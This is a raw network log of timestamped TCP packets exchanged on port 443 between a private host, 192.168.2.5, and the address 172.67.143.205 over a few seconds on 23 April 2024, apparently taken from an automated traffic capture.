Apr 23, 2024 21:54:10.804961920 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.805042982 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.811685085 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.811860085 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.811933994 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.811938047 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.811992884 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.812071085 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.812129974 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.812146902 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.812192917 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.812397003 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.812532902 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.812602997 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.812652111 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.812663078 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.812720060 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.812728882 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.813245058 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.813314915 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.813366890 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.813376904 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.813426018 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.813435078 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.813498974 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.814117908 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.814162970 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.814172983 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.814219952 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.814228058 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.814308882 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.814364910 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.814421892 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.814431906 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.814477921 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.843992949 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.844041109 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.846004963 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.846035957 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.847565889 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.847698927 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.847798109 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.848304987 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.848324060 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.896739006 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.896807909 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.896852016 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.896872044 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.896976948 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.897017002 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.897022963 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.897322893 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.897370100 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.897376060 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.897696018 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.897736073 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.897766113 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.897770882 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.897797108 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.898458958 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.898530960 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.898535967 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.915997028 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.916068077 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.916076899 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.916126013 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.916347027 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.916397095 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.916398048 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.916409969 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.916434050 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.916491032 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.916533947 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.933739901 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.933757067 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.994611025 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.995562077 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.995584011 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.996057987 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.996771097 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.996840000 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.996988058 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.032780886 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.032829046 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.032892942 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.035552979 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.035569906 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.040155888 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.050635099 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.263753891 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.264039993 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.264069080 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.265321970 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.265711069 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.265865088 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:11.265868902 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.265882015 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:11.306219101 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.522305965 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.522425890 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.522505999 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.524421930 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.524446964 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.733520031 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.733714104 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.733768940 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.733803034 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.733892918 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.733933926 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.733944893 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.734055042 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.734097004 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.734103918 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.734211922 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.734252930 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.734260082 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.734369040 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.734410048 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.734417915 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.751667023 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.751713991 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.751785040 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.752209902 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.752228022 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.778944016 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.779002905 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.820600986 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.820683956 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.820694923 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.820744991 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.820790052 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.820838928 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.820997953 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.821044922 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.821067095 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.821160078 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.821212053 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.821227074 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.821677923 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.821733952 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.821746111 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.821849108 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.821893930 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.821908951 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822027922 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822069883 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.822082996 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822513103 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822561026 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.822573900 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822675943 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822737932 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.822751999 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822832108 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.822880030 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.822891951 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.823033094 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.823081017 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.823092937 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.823178053 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.823220015 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.823235035 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.872680902 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.872742891 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909291029 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909354925 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.909375906 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909455061 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909507036 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.909522057 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909641981 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909696102 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.909708977 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909872055 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.909929991 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.910084009 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.910115004 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.910137892 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.910180092 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.975893974 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.976402998 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.976427078 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.976897001 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.977598906 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:12.977678061 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:12.978163958 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.024112940 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.071647882 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.071794987 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.071865082 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.071882010 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.071909904 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.071960926 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.071995020 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.072163105 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.072217941 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.072246075 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.072336912 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.072391033 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.072405100 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.072479963 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.072530031 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.072541952 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.104567051 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.104686022 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.104759932 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.104773045 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.104825974 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.104880095 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.104897022 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.105005980 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.105052948 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.105065107 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.105171919 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.105218887 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.105230093 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.105305910 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.105357885 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.105369091 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.122653961 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.146481037 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.146653891 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.146722078 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.146729946 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.146754026 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.146804094 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.147070885 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.147207975 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.147263050 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.147281885 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.147648096 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.147712946 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.147726059 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.147799969 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.147869110 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.147881985 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.148021936 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.148077965 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.148089886 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.148174047 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.148240089 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.148343086 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.148374081 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.153934956 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.190995932 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191138983 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191191912 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.191220045 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191319942 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191381931 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.191395998 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191473961 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191526890 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.191538095 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191869974 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.191929102 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.191941023 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192028046 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192079067 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.192090034 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192226887 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192276955 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.192290068 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192334890 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192382097 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.192393064 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192842007 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192894936 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.192905903 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.192997932 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.193046093 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.193058014 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.193530083 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.193584919 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.193597078 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.193675995 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.193726063 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.193737984 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.247662067 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.247678041 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.278896093 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.278950930 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.278964996 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279138088 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279194117 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.279207945 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279301882 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279347897 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.279359102 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279875994 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279898882 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279936075 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.279956102 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.279980898 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.280719995 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.280777931 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.280790091 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.280812979 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.280838966 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.280850887 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.280879974 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.295743942 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.295805931 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.295819044 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.295840025 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.295867920 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.295880079 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.295926094 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.295938015 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.296020985 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.296072960 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.296134949 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.296135902 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.296171904 CEST	443	49806	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.296216965 CEST	49806	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.438235044 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.438358068 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:13.438421011 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.438607931 CEST	49807	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:13.438623905 CEST	443	49807	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.570313931 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.570461035 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.570537090 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.570565939 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.570610046 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.570749998 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.570784092 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.570892096 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.570993900 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.571052074 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.571082115 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.571178913 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.571229935 CEST	49771	443	192.168.2.5	172.67.143.205
